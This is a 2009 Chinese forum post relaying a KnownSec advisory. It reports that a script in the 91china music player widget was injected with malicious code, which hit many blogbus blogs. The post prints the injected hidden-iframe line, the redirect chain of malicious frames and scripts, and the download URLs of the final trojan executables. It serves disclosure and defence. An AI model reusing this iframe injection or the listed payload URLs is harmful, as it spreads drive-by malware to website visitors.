91网络家园音乐播放器组件被植入恶意代码

glacier_lk

发布时间：Wed May 6 2009 20:56:35 UTC+0800
最后更新时间：Wed May 6 2009 20:56:35 UTC+0800
________________________________________
知道创宇安全团队（KnownSec Team）今日监测到大量blogbus博客被挂马，经确认，此次挂马事件是由于91网络家园（91china，http://www.91china.net）音乐播放器的一个脚本文件中被植入了恶意代码所致。
当用户访问带有91china音乐播放器的页面将可能被安装木马病毒等恶意程序,可以导致电脑被黑客控制并且被窃取敏感信息。
MalUrl:http://www.91china.net/player/imgchg.js
恶意代码：

document.writeln(”<iframe src=http:\/\/wr.hef46.cn\/1\/01\/index.htm?t-2 width=100 height=0><\/iframe> “);
挂马分析：
[wide]http://www.91china.net/player/player.asp
[script]http://www.91china.net/player/imgchg.js
   [frame]http://wr.hef46.cn/1/01/index.htm?t-2
    [frame]http://wr.hef46.cn/1/01/index2.htm
     [frame]http://wr.hef46.cn/1/01/ccqm.htm
     [script]http://wr.hef46.cn/1/01/js.css
      [frame]http://wr.hef46.cn/1/01/hk14.htm
      [frame]http://wr.hef46.cn/1/01/hkfl.htm
      [frame]http://wr.hef46.cn/1/01/hkvod.htm
      [frame]http://wr.hef46.cn/1/01/hkbb.htm
      [frame]http://wr.hef46.cn/1/01/hkzzx.htm
      [frame]http://wr.hef46.cn/1/01/hkff.htm
      [frame]http://wr.hef46.cn/1/01/hk122121.htm
    [script]http://js.tongji.cn.yahoo.com/1051060/ystat.js
    [script]http://count7.51much.com/cnt.php?uid=ua-1-12842&style=text&text=网站统计
   
最终下载病毒文件：
http://s1.jud4g.com/1/activcx.exe
http://s1.jud4g.com/1/cx.exe
通过执行以上病毒文件，来达到完全控制访问者的系统。
知道创宇安全团队建议使用该音乐播放器的用户暂时停用此播放器，以免更多的用户受到挂马事件的影响。
知道创宇：专业的WEB安全公司   www.knownsec.com

328397663

原帖由 glacier_lk 于 2009-5-6 21:42 发表
发布时间：Wed May 6 2009 20:56:35 UTC+0800
最后更新时间：Wed May 6 2009 20:56:35 UTC+0800
________________________________________
知道创宇安全团队（KnownSec Team）今日监测到大量blogbus博客被挂马， ...

难道网站的防御就是那么差?

glacier_lk

若干次了。。。